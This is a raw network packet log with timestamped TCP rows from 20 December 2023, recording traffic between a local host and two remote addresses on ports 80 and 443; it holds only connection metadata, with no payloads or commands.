Dec 20, 2023 15:35:07.925247908 CET	49748	80	192.168.2.4	198.46.178.135
Dec 20, 2023 15:35:07.925317049 CET	80	49748	198.46.178.135	192.168.2.4
Dec 20, 2023 15:35:07.925385952 CET	80	49748	198.46.178.135	192.168.2.4
Dec 20, 2023 15:35:07.925429106 CET	49748	80	192.168.2.4	198.46.178.135
Dec 20, 2023 15:35:07.925740957 CET	80	49748	198.46.178.135	192.168.2.4
Dec 20, 2023 15:35:07.925755024 CET	80	49748	198.46.178.135	192.168.2.4
Dec 20, 2023 15:35:07.925801992 CET	49748	80	192.168.2.4	198.46.178.135
Dec 20, 2023 15:35:07.925801039 CET	80	49748	198.46.178.135	192.168.2.4
Dec 20, 2023 15:35:07.925822973 CET	80	49748	198.46.178.135	192.168.2.4
Dec 20, 2023 15:35:07.925842047 CET	80	49748	198.46.178.135	192.168.2.4
Dec 20, 2023 15:35:07.925859928 CET	80	49748	198.46.178.135	192.168.2.4
Dec 20, 2023 15:35:07.925863981 CET	49748	80	192.168.2.4	198.46.178.135
Dec 20, 2023 15:35:07.925873995 CET	80	49748	198.46.178.135	192.168.2.4
Dec 20, 2023 15:35:07.925903082 CET	49748	80	192.168.2.4	198.46.178.135
Dec 20, 2023 15:35:07.925926924 CET	80	49748	198.46.178.135	192.168.2.4
Dec 20, 2023 15:35:07.925945044 CET	80	49748	198.46.178.135	192.168.2.4
Dec 20, 2023 15:35:07.925964117 CET	80	49748	198.46.178.135	192.168.2.4
Dec 20, 2023 15:35:07.925971985 CET	49748	80	192.168.2.4	198.46.178.135
Dec 20, 2023 15:35:07.925978899 CET	80	49748	198.46.178.135	192.168.2.4
Dec 20, 2023 15:35:07.926014900 CET	49748	80	192.168.2.4	198.46.178.135
Dec 20, 2023 15:35:07.926023960 CET	80	49748	198.46.178.135	192.168.2.4
Dec 20, 2023 15:35:07.926037073 CET	80	49748	198.46.178.135	192.168.2.4
Dec 20, 2023 15:35:07.926067114 CET	49748	80	192.168.2.4	198.46.178.135
Dec 20, 2023 15:35:07.926075935 CET	80	49748	198.46.178.135	192.168.2.4
Dec 20, 2023 15:35:07.926095009 CET	80	49748	198.46.178.135	192.168.2.4
Dec 20, 2023 15:35:07.926106930 CET	80	49748	198.46.178.135	192.168.2.4
Dec 20, 2023 15:35:07.926122904 CET	49748	80	192.168.2.4	198.46.178.135
Dec 20, 2023 15:35:07.926125050 CET	80	49748	198.46.178.135	192.168.2.4
Dec 20, 2023 15:35:07.926137924 CET	80	49748	198.46.178.135	192.168.2.4
Dec 20, 2023 15:35:07.926152945 CET	49748	80	192.168.2.4	198.46.178.135
Dec 20, 2023 15:35:07.926156998 CET	80	49748	198.46.178.135	192.168.2.4
Dec 20, 2023 15:35:07.926182985 CET	80	49748	198.46.178.135	192.168.2.4
Dec 20, 2023 15:35:07.926184893 CET	49748	80	192.168.2.4	198.46.178.135
Dec 20, 2023 15:35:07.926201105 CET	80	49748	198.46.178.135	192.168.2.4
Dec 20, 2023 15:35:07.926224947 CET	49748	80	192.168.2.4	198.46.178.135
Dec 20, 2023 15:35:07.926265955 CET	80	49748	198.46.178.135	192.168.2.4
Dec 20, 2023 15:35:07.926279068 CET	80	49748	198.46.178.135	192.168.2.4
Dec 20, 2023 15:35:07.926307917 CET	49748	80	192.168.2.4	198.46.178.135
Dec 20, 2023 15:35:07.926347017 CET	80	49748	198.46.178.135	192.168.2.4
Dec 20, 2023 15:35:07.926364899 CET	80	49748	198.46.178.135	192.168.2.4
Dec 20, 2023 15:35:07.926378012 CET	80	49748	198.46.178.135	192.168.2.4
Dec 20, 2023 15:35:07.926388979 CET	49748	80	192.168.2.4	198.46.178.135
Dec 20, 2023 15:35:07.926415920 CET	49748	80	192.168.2.4	198.46.178.135
Dec 20, 2023 15:35:07.926433086 CET	80	49748	198.46.178.135	192.168.2.4
Dec 20, 2023 15:35:07.926445961 CET	80	49748	198.46.178.135	192.168.2.4
Dec 20, 2023 15:35:07.926485062 CET	49748	80	192.168.2.4	198.46.178.135
Dec 20, 2023 15:35:07.926506996 CET	80	49748	198.46.178.135	192.168.2.4
Dec 20, 2023 15:35:07.926525116 CET	80	49748	198.46.178.135	192.168.2.4
Dec 20, 2023 15:35:07.926544905 CET	80	49748	198.46.178.135	192.168.2.4
Dec 20, 2023 15:35:07.926558971 CET	80	49748	198.46.178.135	192.168.2.4
Dec 20, 2023 15:35:07.926565886 CET	49748	80	192.168.2.4	198.46.178.135
Dec 20, 2023 15:35:07.926599026 CET	49748	80	192.168.2.4	198.46.178.135
Dec 20, 2023 15:35:07.926604986 CET	80	49748	198.46.178.135	192.168.2.4
Dec 20, 2023 15:35:07.926660061 CET	80	49748	198.46.178.135	192.168.2.4
Dec 20, 2023 15:35:07.926702023 CET	49748	80	192.168.2.4	198.46.178.135
Dec 20, 2023 15:35:07.926713943 CET	80	49748	198.46.178.135	192.168.2.4
Dec 20, 2023 15:35:07.926760912 CET	80	49748	198.46.178.135	192.168.2.4
Dec 20, 2023 15:35:07.926805973 CET	49748	80	192.168.2.4	198.46.178.135
Dec 20, 2023 15:35:07.926812887 CET	80	49748	198.46.178.135	192.168.2.4
Dec 20, 2023 15:35:07.926826000 CET	80	49748	198.46.178.135	192.168.2.4
Dec 20, 2023 15:35:07.926861048 CET	49748	80	192.168.2.4	198.46.178.135
Dec 20, 2023 15:35:07.926882029 CET	80	49748	198.46.178.135	192.168.2.4
Dec 20, 2023 15:35:07.926912069 CET	80	49748	198.46.178.135	192.168.2.4
Dec 20, 2023 15:35:07.926958084 CET	49748	80	192.168.2.4	198.46.178.135
Dec 20, 2023 15:35:07.927002907 CET	80	49748	198.46.178.135	192.168.2.4
Dec 20, 2023 15:35:07.927021027 CET	80	49748	198.46.178.135	192.168.2.4
Dec 20, 2023 15:35:07.927033901 CET	80	49748	198.46.178.135	192.168.2.4
Dec 20, 2023 15:35:07.927048922 CET	80	49748	198.46.178.135	192.168.2.4
Dec 20, 2023 15:35:07.927063942 CET	49748	80	192.168.2.4	198.46.178.135
Dec 20, 2023 15:35:07.927067041 CET	80	49748	198.46.178.135	192.168.2.4
Dec 20, 2023 15:35:07.927081108 CET	80	49748	198.46.178.135	192.168.2.4
Dec 20, 2023 15:35:07.927088022 CET	49748	80	192.168.2.4	198.46.178.135
Dec 20, 2023 15:35:07.927123070 CET	49748	80	192.168.2.4	198.46.178.135
Dec 20, 2023 15:35:07.927128077 CET	80	49748	198.46.178.135	192.168.2.4
Dec 20, 2023 15:35:07.927145958 CET	80	49748	198.46.178.135	192.168.2.4
Dec 20, 2023 15:35:07.927159071 CET	80	49748	198.46.178.135	192.168.2.4
Dec 20, 2023 15:35:07.927189112 CET	49748	80	192.168.2.4	198.46.178.135
Dec 20, 2023 15:35:07.927211046 CET	80	49748	198.46.178.135	192.168.2.4
Dec 20, 2023 15:35:07.927229881 CET	80	49748	198.46.178.135	192.168.2.4
Dec 20, 2023 15:35:07.927249908 CET	80	49748	198.46.178.135	192.168.2.4
Dec 20, 2023 15:35:07.927256107 CET	49748	80	192.168.2.4	198.46.178.135
Dec 20, 2023 15:35:07.927265882 CET	80	49748	198.46.178.135	192.168.2.4
Dec 20, 2023 15:35:07.927284002 CET	80	49748	198.46.178.135	192.168.2.4
Dec 20, 2023 15:35:07.927295923 CET	49748	80	192.168.2.4	198.46.178.135
Dec 20, 2023 15:35:07.927330971 CET	49748	80	192.168.2.4	198.46.178.135
Dec 20, 2023 15:35:07.927334070 CET	80	49748	198.46.178.135	192.168.2.4
Dec 20, 2023 15:35:07.927371979 CET	80	49748	198.46.178.135	192.168.2.4
Dec 20, 2023 15:35:07.927387953 CET	80	49748	198.46.178.135	192.168.2.4
Dec 20, 2023 15:35:07.927412033 CET	49748	80	192.168.2.4	198.46.178.135
Dec 20, 2023 15:35:07.927424908 CET	80	49748	198.46.178.135	192.168.2.4
Dec 20, 2023 15:35:07.927443981 CET	80	49748	198.46.178.135	192.168.2.4
Dec 20, 2023 15:35:07.927468061 CET	49748	80	192.168.2.4	198.46.178.135
Dec 20, 2023 15:35:07.927493095 CET	80	49748	198.46.178.135	192.168.2.4
Dec 20, 2023 15:35:07.927505970 CET	80	49748	198.46.178.135	192.168.2.4
Dec 20, 2023 15:35:07.927520037 CET	80	49748	198.46.178.135	192.168.2.4
Dec 20, 2023 15:35:07.927536964 CET	49748	80	192.168.2.4	198.46.178.135
Dec 20, 2023 15:35:07.927566051 CET	49748	80	192.168.2.4	198.46.178.135
Dec 20, 2023 15:35:07.927568913 CET	80	49748	198.46.178.135	192.168.2.4
Dec 20, 2023 15:35:07.927587986 CET	80	49748	198.46.178.135	192.168.2.4
Dec 20, 2023 15:35:07.927607059 CET	80	49748	198.46.178.135	192.168.2.4
Dec 20, 2023 15:35:07.927619934 CET	80	49748	198.46.178.135	192.168.2.4
Dec 20, 2023 15:35:07.927633047 CET	49748	80	192.168.2.4	198.46.178.135
Dec 20, 2023 15:35:07.927634001 CET	80	49748	198.46.178.135	192.168.2.4
Dec 20, 2023 15:35:07.927661896 CET	49748	80	192.168.2.4	198.46.178.135
Dec 20, 2023 15:35:07.927674055 CET	80	49748	198.46.178.135	192.168.2.4
Dec 20, 2023 15:35:07.927695990 CET	80	49748	198.46.178.135	192.168.2.4
Dec 20, 2023 15:35:07.927707911 CET	80	49748	198.46.178.135	192.168.2.4
Dec 20, 2023 15:35:07.927721024 CET	49748	80	192.168.2.4	198.46.178.135
Dec 20, 2023 15:35:07.927752972 CET	49748	80	192.168.2.4	198.46.178.135
Dec 20, 2023 15:35:07.927761078 CET	80	49748	198.46.178.135	192.168.2.4
Dec 20, 2023 15:35:07.927803993 CET	80	49748	198.46.178.135	192.168.2.4
Dec 20, 2023 15:35:07.927850008 CET	49748	80	192.168.2.4	198.46.178.135
Dec 20, 2023 15:35:07.927858114 CET	80	49748	198.46.178.135	192.168.2.4
Dec 20, 2023 15:35:07.927870035 CET	80	49748	198.46.178.135	192.168.2.4
Dec 20, 2023 15:35:07.927886963 CET	80	49748	198.46.178.135	192.168.2.4
Dec 20, 2023 15:35:07.927905083 CET	80	49748	198.46.178.135	192.168.2.4
Dec 20, 2023 15:35:07.927911043 CET	49748	80	192.168.2.4	198.46.178.135
Dec 20, 2023 15:35:07.927918911 CET	80	49748	198.46.178.135	192.168.2.4
Dec 20, 2023 15:35:07.927952051 CET	49748	80	192.168.2.4	198.46.178.135
Dec 20, 2023 15:35:07.927963972 CET	80	49748	198.46.178.135	192.168.2.4
Dec 20, 2023 15:35:07.928005934 CET	80	49748	198.46.178.135	192.168.2.4
Dec 20, 2023 15:35:07.928015947 CET	49748	80	192.168.2.4	198.46.178.135
Dec 20, 2023 15:35:07.928056955 CET	80	49748	198.46.178.135	192.168.2.4
Dec 20, 2023 15:35:07.928070068 CET	80	49748	198.46.178.135	192.168.2.4
Dec 20, 2023 15:35:07.928100109 CET	49748	80	192.168.2.4	198.46.178.135
Dec 20, 2023 15:35:07.928128958 CET	80	49748	198.46.178.135	192.168.2.4
Dec 20, 2023 15:35:07.928141117 CET	80	49748	198.46.178.135	192.168.2.4
Dec 20, 2023 15:35:07.928173065 CET	49748	80	192.168.2.4	198.46.178.135
Dec 20, 2023 15:35:07.928179026 CET	80	49748	198.46.178.135	192.168.2.4
Dec 20, 2023 15:35:07.928225040 CET	49748	80	192.168.2.4	198.46.178.135
Dec 20, 2023 15:35:07.928231955 CET	80	49748	198.46.178.135	192.168.2.4
Dec 20, 2023 15:35:07.928248882 CET	80	49748	198.46.178.135	192.168.2.4
Dec 20, 2023 15:35:07.928275108 CET	80	49748	198.46.178.135	192.168.2.4
Dec 20, 2023 15:35:07.928287983 CET	80	49748	198.46.178.135	192.168.2.4
Dec 20, 2023 15:35:07.928288937 CET	49748	80	192.168.2.4	198.46.178.135
Dec 20, 2023 15:35:07.928299904 CET	80	49748	198.46.178.135	192.168.2.4
Dec 20, 2023 15:35:07.928323030 CET	80	49748	198.46.178.135	192.168.2.4
Dec 20, 2023 15:35:07.928327084 CET	49748	80	192.168.2.4	198.46.178.135
Dec 20, 2023 15:35:07.928369999 CET	49748	80	192.168.2.4	198.46.178.135
Dec 20, 2023 15:35:07.957761049 CET	443	49747	104.21.91.52	192.168.2.4
Dec 20, 2023 15:35:07.957847118 CET	443	49747	104.21.91.52	192.168.2.4
Dec 20, 2023 15:35:07.958184958 CET	443	49747	104.21.91.52	192.168.2.4
Dec 20, 2023 15:35:07.958214045 CET	443	49747	104.21.91.52	192.168.2.4
Dec 20, 2023 15:35:07.959079981 CET	443	49747	104.21.91.52	192.168.2.4
Dec 20, 2023 15:35:07.961899042 CET	49747	443	192.168.2.4	104.21.91.52
Dec 20, 2023 15:35:07.961908102 CET	443	49747	104.21.91.52	192.168.2.4
Dec 20, 2023 15:35:07.961918116 CET	49747	443	192.168.2.4	104.21.91.52
Dec 20, 2023 15:35:07.961956978 CET	49747	443	192.168.2.4	104.21.91.52
Dec 20, 2023 15:35:07.967662096 CET	443	49747	104.21.91.52	192.168.2.4
Dec 20, 2023 15:35:07.967746019 CET	49747	443	192.168.2.4	104.21.91.52
Dec 20, 2023 15:35:07.968333006 CET	443	49747	104.21.91.52	192.168.2.4
Dec 20, 2023 15:35:07.968406916 CET	49747	443	192.168.2.4	104.21.91.52
Dec 20, 2023 15:35:07.968636036 CET	443	49747	104.21.91.52	192.168.2.4
Dec 20, 2023 15:35:07.968698025 CET	49747	443	192.168.2.4	104.21.91.52
Dec 20, 2023 15:35:07.968713045 CET	443	49747	104.21.91.52	192.168.2.4
Dec 20, 2023 15:35:07.968766928 CET	49747	443	192.168.2.4	104.21.91.52
Dec 20, 2023 15:35:07.969551086 CET	443	49747	104.21.91.52	192.168.2.4
Dec 20, 2023 15:35:07.969619036 CET	49747	443	192.168.2.4	104.21.91.52
Dec 20, 2023 15:35:07.969625950 CET	443	49747	104.21.91.52	192.168.2.4
Dec 20, 2023 15:35:07.969666004 CET	49747	443	192.168.2.4	104.21.91.52
Dec 20, 2023 15:35:07.971014023 CET	443	49747	104.21.91.52	192.168.2.4
Dec 20, 2023 15:35:07.971070051 CET	49747	443	192.168.2.4	104.21.91.52
Dec 20, 2023 15:35:07.971085072 CET	443	49747	104.21.91.52	192.168.2.4
Dec 20, 2023 15:35:07.971138954 CET	49747	443	192.168.2.4	104.21.91.52
Dec 20, 2023 15:35:07.971395016 CET	443	49747	104.21.91.52	192.168.2.4
Dec 20, 2023 15:35:07.971457005 CET	49747	443	192.168.2.4	104.21.91.52
Dec 20, 2023 15:35:07.972126961 CET	443	49747	104.21.91.52	192.168.2.4
Dec 20, 2023 15:35:07.972188950 CET	49747	443	192.168.2.4	104.21.91.52
Dec 20, 2023 15:35:07.972929955 CET	443	49747	104.21.91.52	192.168.2.4
Dec 20, 2023 15:35:07.972990990 CET	49747	443	192.168.2.4	104.21.91.52
Dec 20, 2023 15:35:07.973040104 CET	443	49747	104.21.91.52	192.168.2.4
Dec 20, 2023 15:35:07.973087072 CET	49747	443	192.168.2.4	104.21.91.52
Dec 20, 2023 15:35:08.014261961 CET	443	49747	104.21.91.52	192.168.2.4
Dec 20, 2023 15:35:08.014338017 CET	49747	443	192.168.2.4	104.21.91.52
Dec 20, 2023 15:35:08.084583998 CET	443	49747	104.21.91.52	192.168.2.4
Dec 20, 2023 15:35:08.084659100 CET	49747	443	192.168.2.4	104.21.91.52
Dec 20, 2023 15:35:08.084825039 CET	443	49747	104.21.91.52	192.168.2.4
Dec 20, 2023 15:35:08.084880114 CET	49747	443	192.168.2.4	104.21.91.52
Dec 20, 2023 15:35:08.085141897 CET	443	49747	104.21.91.52	192.168.2.4
Dec 20, 2023 15:35:08.085192919 CET	49747	443	192.168.2.4	104.21.91.52
Dec 20, 2023 15:35:08.086050034 CET	443	49747	104.21.91.52	192.168.2.4
Dec 20, 2023 15:35:08.086106062 CET	49747	443	192.168.2.4	104.21.91.52
Dec 20, 2023 15:35:08.086158037 CET	443	49747	104.21.91.52	192.168.2.4
Dec 20, 2023 15:35:08.086206913 CET	49747	443	192.168.2.4	104.21.91.52
Dec 20, 2023 15:35:08.093524933 CET	80	49748	198.46.178.135	192.168.2.4
Dec 20, 2023 15:35:08.093619108 CET	80	49748	198.46.178.135	192.168.2.4
Dec 20, 2023 15:35:08.093684912 CET	49748	80	192.168.2.4	198.46.178.135
Dec 20, 2023 15:35:08.093699932 CET	80	49748	198.46.178.135	192.168.2.4
Dec 20, 2023 15:35:08.093775034 CET	80	49748	198.46.178.135	192.168.2.4
Dec 20, 2023 15:35:08.093816042 CET	49748	80	192.168.2.4	198.46.178.135
Dec 20, 2023 15:35:08.093861103 CET	80	49748	198.46.178.135	192.168.2.4
Dec 20, 2023 15:35:08.093947887 CET	80	49748	198.46.178.135	192.168.2.4
Dec 20, 2023 15:35:08.093991041 CET	49748	80	192.168.2.4	198.46.178.135
Dec 20, 2023 15:35:08.094031096 CET	80	49748	198.46.178.135	192.168.2.4
Dec 20, 2023 15:35:08.094559908 CET	80	49748	198.46.178.135	192.168.2.4
Dec 20, 2023 15:35:08.094614029 CET	49748	80	192.168.2.4	198.46.178.135
Dec 20, 2023 15:35:08.094671965 CET	80	49748	198.46.178.135	192.168.2.4
Dec 20, 2023 15:35:08.094748020 CET	80	49748	198.46.178.135	192.168.2.4
Dec 20, 2023 15:35:08.094794989 CET	49748	80	192.168.2.4	198.46.178.135
Dec 20, 2023 15:35:08.095871925 CET	80	49748	198.46.178.135	192.168.2.4
Dec 20, 2023 15:35:08.095940113 CET	80	49748	198.46.178.135	192.168.2.4
Dec 20, 2023 15:35:08.095982075 CET	49748	80	192.168.2.4	198.46.178.135
Dec 20, 2023 15:35:08.096421957 CET	80	49748	198.46.178.135	192.168.2.4
Dec 20, 2023 15:35:08.096510887 CET	80	49748	198.46.178.135	192.168.2.4
Dec 20, 2023 15:35:08.096558094 CET	49748	80	192.168.2.4	198.46.178.135
Dec 20, 2023 15:35:08.096585035 CET	80	49748	198.46.178.135	192.168.2.4
Dec 20, 2023 15:35:08.096735954 CET	80	49748	198.46.178.135	192.168.2.4
Dec 20, 2023 15:35:08.096786022 CET	49748	80	192.168.2.4	198.46.178.135
Dec 20, 2023 15:35:08.096823931 CET	80	49748	198.46.178.135	192.168.2.4
Dec 20, 2023 15:35:08.096921921 CET	80	49748	198.46.178.135	192.168.2.4
Dec 20, 2023 15:35:08.096962929 CET	49748	80	192.168.2.4	198.46.178.135
Dec 20, 2023 15:35:08.097003937 CET	80	49748	198.46.178.135	192.168.2.4
Dec 20, 2023 15:35:08.097620010 CET	80	49748	198.46.178.135	192.168.2.4
Dec 20, 2023 15:35:08.097668886 CET	49748	80	192.168.2.4	198.46.178.135
Dec 20, 2023 15:35:08.097734928 CET	80	49748	198.46.178.135	192.168.2.4
Dec 20, 2023 15:35:08.097801924 CET	80	49748	198.46.178.135	192.168.2.4
Dec 20, 2023 15:35:08.097855091 CET	49748	80	192.168.2.4	198.46.178.135
Dec 20, 2023 15:35:08.098067999 CET	443	49747	104.21.91.52	192.168.2.4
Dec 20, 2023 15:35:08.098128080 CET	49747	443	192.168.2.4	104.21.91.52
Dec 20, 2023 15:35:08.098311901 CET	443	49747	104.21.91.52	192.168.2.4
Dec 20, 2023 15:35:08.098335981 CET	80	49748	198.46.178.135	192.168.2.4
Dec 20, 2023 15:35:08.098365068 CET	49747	443	192.168.2.4	104.21.91.52
Dec 20, 2023 15:35:08.098598957 CET	80	49748	198.46.178.135	192.168.2.4
Dec 20, 2023 15:35:08.098647118 CET	49748	80	192.168.2.4	198.46.178.135
Dec 20, 2023 15:35:08.098687887 CET	80	49748	198.46.178.135	192.168.2.4
Dec 20, 2023 15:35:08.098794937 CET	80	49748	198.46.178.135	192.168.2.4
Dec 20, 2023 15:35:08.098839045 CET	49748	80	192.168.2.4	198.46.178.135
Dec 20, 2023 15:35:08.098879099 CET	80	49748	198.46.178.135	192.168.2.4
Dec 20, 2023 15:35:08.098967075 CET	80	49748	198.46.178.135	192.168.2.4
Dec 20, 2023 15:35:08.099011898 CET	49748	80	192.168.2.4	198.46.178.135
Dec 20, 2023 15:35:08.099024057 CET	80	49748	198.46.178.135	192.168.2.4
Dec 20, 2023 15:35:08.099123001 CET	80	49748	198.46.178.135	192.168.2.4
Dec 20, 2023 15:35:08.099169016 CET	49748	80	192.168.2.4	198.46.178.135
Dec 20, 2023 15:35:08.099175930 CET	80	49748	198.46.178.135	192.168.2.4
Dec 20, 2023 15:35:08.099239111 CET	80	49748	198.46.178.135	192.168.2.4
Dec 20, 2023 15:35:08.099287987 CET	49748	80	192.168.2.4	198.46.178.135
Dec 20, 2023 15:35:08.099313974 CET	80	49748	198.46.178.135	192.168.2.4
Dec 20, 2023 15:35:08.099369049 CET	80	49748	198.46.178.135	192.168.2.4
Dec 20, 2023 15:35:08.099414110 CET	49748	80	192.168.2.4	198.46.178.135
Dec 20, 2023 15:35:08.099452972 CET	80	49748	198.46.178.135	192.168.2.4
Dec 20, 2023 15:35:08.099503040 CET	80	49748	198.46.178.135	192.168.2.4
Dec 20, 2023 15:35:08.099548101 CET	49748	80	192.168.2.4	198.46.178.135
Dec 20, 2023 15:35:08.099570990 CET	80	49748	198.46.178.135	192.168.2.4
Dec 20, 2023 15:35:08.099674940 CET	80	49748	198.46.178.135	192.168.2.4
Dec 20, 2023 15:35:08.099720955 CET	49748	80	192.168.2.4	198.46.178.135
Dec 20, 2023 15:35:08.099735022 CET	80	49748	198.46.178.135	192.168.2.4
Dec 20, 2023 15:35:08.099793911 CET	80	49748	198.46.178.135	192.168.2.4
Dec 20, 2023 15:35:08.099854946 CET	49748	80	192.168.2.4	198.46.178.135
Dec 20, 2023 15:35:08.099874973 CET	80	49748	198.46.178.135	192.168.2.4
Dec 20, 2023 15:35:08.099934101 CET	80	49748	198.46.178.135	192.168.2.4
Dec 20, 2023 15:35:08.099975109 CET	49748	80	192.168.2.4	198.46.178.135
Dec 20, 2023 15:35:08.100012064 CET	80	49748	198.46.178.135	192.168.2.4
Dec 20, 2023 15:35:08.100212097 CET	80	49748	198.46.178.135	192.168.2.4
Dec 20, 2023 15:35:08.100281954 CET	49748	80	192.168.2.4	198.46.178.135
Dec 20, 2023 15:35:08.100302935 CET	80	49748	198.46.178.135	192.168.2.4
Dec 20, 2023 15:35:08.100358009 CET	80	49748	198.46.178.135	192.168.2.4
Dec 20, 2023 15:35:08.100404024 CET	49748	80	192.168.2.4	198.46.178.135
Dec 20, 2023 15:35:08.100430965 CET	80	49748	198.46.178.135	192.168.2.4
Dec 20, 2023 15:35:08.100485086 CET	80	49748	198.46.178.135	192.168.2.4
Dec 20, 2023 15:35:08.100532055 CET	49748	80	192.168.2.4	198.46.178.135
Dec 20, 2023 15:35:08.100557089 CET	80	49748	198.46.178.135	192.168.2.4
Dec 20, 2023 15:35:08.100600958 CET	80	49748	198.46.178.135	192.168.2.4
Dec 20, 2023 15:35:08.100646019 CET	49748	80	192.168.2.4	198.46.178.135
Dec 20, 2023 15:35:08.100651979 CET	80	49748	198.46.178.135	192.168.2.4
Dec 20, 2023 15:35:08.100703955 CET	80	49748	198.46.178.135	192.168.2.4
Dec 20, 2023 15:35:08.100749969 CET	49748	80	192.168.2.4	198.46.178.135
Dec 20, 2023 15:35:08.100786924 CET	80	49748	198.46.178.135	192.168.2.4
Dec 20, 2023 15:35:08.100840092 CET	80	49748	198.46.178.135	192.168.2.4
Dec 20, 2023 15:35:08.100882053 CET	49748	80	192.168.2.4	198.46.178.135
Dec 20, 2023 15:35:08.100924969 CET	80	49748	198.46.178.135	192.168.2.4
Dec 20, 2023 15:35:08.100980043 CET	80	49748	198.46.178.135	192.168.2.4
Dec 20, 2023 15:35:08.101026058 CET	49748	80	192.168.2.4	198.46.178.135
Dec 20, 2023 15:35:08.101145029 CET	80	49748	198.46.178.135	192.168.2.4
Dec 20, 2023 15:35:08.101289034 CET	80	49748	198.46.178.135	192.168.2.4
Dec 20, 2023 15:35:08.101336002 CET	49748	80	192.168.2.4	198.46.178.135
Dec 20, 2023 15:35:08.101377010 CET	80	49748	198.46.178.135	192.168.2.4
Dec 20, 2023 15:35:08.101464033 CET	80	49748	198.46.178.135	192.168.2.4
Dec 20, 2023 15:35:08.101506948 CET	80	49748	198.46.178.135	192.168.2.4
Dec 20, 2023 15:35:08.101510048 CET	49748	80	192.168.2.4	198.46.178.135
Dec 20, 2023 15:35:08.101588011 CET	80	49748	198.46.178.135	192.168.2.4
Dec 20, 2023 15:35:08.101628065 CET	49748	80	192.168.2.4	198.46.178.135
Dec 20, 2023 15:35:08.101632118 CET	80	49748	198.46.178.135	192.168.2.4
Dec 20, 2023 15:35:08.101694107 CET	80	49748	198.46.178.135	192.168.2.4
Dec 20, 2023 15:35:08.101737976 CET	49748	80	192.168.2.4	198.46.178.135
Dec 20, 2023 15:35:08.102386951 CET	443	49747	104.21.91.52	192.168.2.4
Dec 20, 2023 15:35:08.102447987 CET	49747	443	192.168.2.4	104.21.91.52
Dec 20, 2023 15:35:08.102521896 CET	80	49748	198.46.178.135	192.168.2.4
Dec 20, 2023 15:35:08.102606058 CET	80	49748	198.46.178.135	192.168.2.4
Dec 20, 2023 15:35:08.102649927 CET	49748	80	192.168.2.4	198.46.178.135
Dec 20, 2023 15:35:08.102693081 CET	80	49748	198.46.178.135	192.168.2.4
Dec 20, 2023 15:35:08.102781057 CET	80	49748	198.46.178.135	192.168.2.4
Dec 20, 2023 15:35:08.102823973 CET	49748	80	192.168.2.4	198.46.178.135
Dec 20, 2023 15:35:08.102880955 CET	80	49748	198.46.178.135	192.168.2.4
Dec 20, 2023 15:35:08.102982044 CET	80	49748	198.46.178.135	192.168.2.4
Dec 20, 2023 15:35:08.103039026 CET	49748	80	192.168.2.4	198.46.178.135
Dec 20, 2023 15:35:08.103059053 CET	80	49748	198.46.178.135	192.168.2.4
Dec 20, 2023 15:35:08.103157997 CET	80	49748	198.46.178.135	192.168.2.4
Dec 20, 2023 15:35:08.103204966 CET	49748	80	192.168.2.4	198.46.178.135
Dec 20, 2023 15:35:08.103241920 CET	80	49748	198.46.178.135	192.168.2.4
Dec 20, 2023 15:35:08.103297949 CET	80	49748	198.46.178.135	192.168.2.4
Dec 20, 2023 15:35:08.103338957 CET	49748	80	192.168.2.4	198.46.178.135
Dec 20, 2023 15:35:08.103368998 CET	80	49748	198.46.178.135	192.168.2.4
Dec 20, 2023 15:35:08.103451014 CET	80	49748	198.46.178.135	192.168.2.4
Dec 20, 2023 15:35:08.103492975 CET	49748	80	192.168.2.4	198.46.178.135
Dec 20, 2023 15:35:08.103527069 CET	80	49748	198.46.178.135	192.168.2.4
Dec 20, 2023 15:35:08.103641033 CET	80	49748	198.46.178.135	192.168.2.4
Dec 20, 2023 15:35:08.103687048 CET	49748	80	192.168.2.4	198.46.178.135
Dec 20, 2023 15:35:08.103713036 CET	80	49748	198.46.178.135	192.168.2.4
Dec 20, 2023 15:35:08.103765965 CET	80	49748	198.46.178.135	192.168.2.4
Dec 20, 2023 15:35:08.103810072 CET	49748	80	192.168.2.4	198.46.178.135
Dec 20, 2023 15:35:08.103837013 CET	80	49748	198.46.178.135	192.168.2.4
Dec 20, 2023 15:35:08.103916883 CET	80	49748	198.46.178.135	192.168.2.4
Dec 20, 2023 15:35:08.103959084 CET	49748	80	192.168.2.4	198.46.178.135
Dec 20, 2023 15:35:08.104131937 CET	80	49748	198.46.178.135	192.168.2.4
Dec 20, 2023 15:35:08.104214907 CET	80	49748	198.46.178.135	192.168.2.4
Dec 20, 2023 15:35:08.104260921 CET	49748	80	192.168.2.4	198.46.178.135
Dec 20, 2023 15:35:08.104304075 CET	80	49748	198.46.178.135	192.168.2.4
Dec 20, 2023 15:35:08.104360104 CET	80	49748	198.46.178.135	192.168.2.4
Dec 20, 2023 15:35:08.104404926 CET	49748	80	192.168.2.4	198.46.178.135
Dec 20, 2023 15:35:08.104449034 CET	80	49748	198.46.178.135	192.168.2.4
Dec 20, 2023 15:35:08.104520082 CET	80	49748	198.46.178.135	192.168.2.4
Dec 20, 2023 15:35:08.104558945 CET	49748	80	192.168.2.4	198.46.178.135
Dec 20, 2023 15:35:08.104672909 CET	80	49748	198.46.178.135	192.168.2.4
Dec 20, 2023 15:35:08.104779959 CET	80	49748	198.46.178.135	192.168.2.4
Dec 20, 2023 15:35:08.104820967 CET	49748	80	192.168.2.4	198.46.178.135
Dec 20, 2023 15:35:08.104826927 CET	80	49748	198.46.178.135	192.168.2.4
Dec 20, 2023 15:35:08.104964018 CET	443	49747	104.21.91.52	192.168.2.4
Dec 20, 2023 15:35:08.105026007 CET	49747	443	192.168.2.4	104.21.91.52
Dec 20, 2023 15:35:08.105621099 CET	443	49747	104.21.91.52	192.168.2.4
Dec 20, 2023 15:35:08.105684042 CET	49747	443	192.168.2.4	104.21.91.52
Dec 20, 2023 15:35:08.106564999 CET	80	49748	198.46.178.135	192.168.2.4
Dec 20, 2023 15:35:08.106611967 CET	49748	80	192.168.2.4	198.46.178.135
Dec 20, 2023 15:35:08.106616974 CET	80	49748	198.46.178.135	192.168.2.4
Dec 20, 2023 15:35:08.106674910 CET	80	49748	198.46.178.135	192.168.2.4
Dec 20, 2023 15:35:08.106718063 CET	49748	80	192.168.2.4	198.46.178.135
Dec 20, 2023 15:35:08.106719017 CET	80	49748	198.46.178.135	192.168.2.4
Dec 20, 2023 15:35:08.106789112 CET	80	49748	198.46.178.135	192.168.2.4
Dec 20, 2023 15:35:08.106827021 CET	49748	80	192.168.2.4	198.46.178.135
Dec 20, 2023 15:35:08.106873035 CET	80	49748	198.46.178.135	192.168.2.4
Dec 20, 2023 15:35:08.106909037 CET	80	49748	198.46.178.135	192.168.2.4
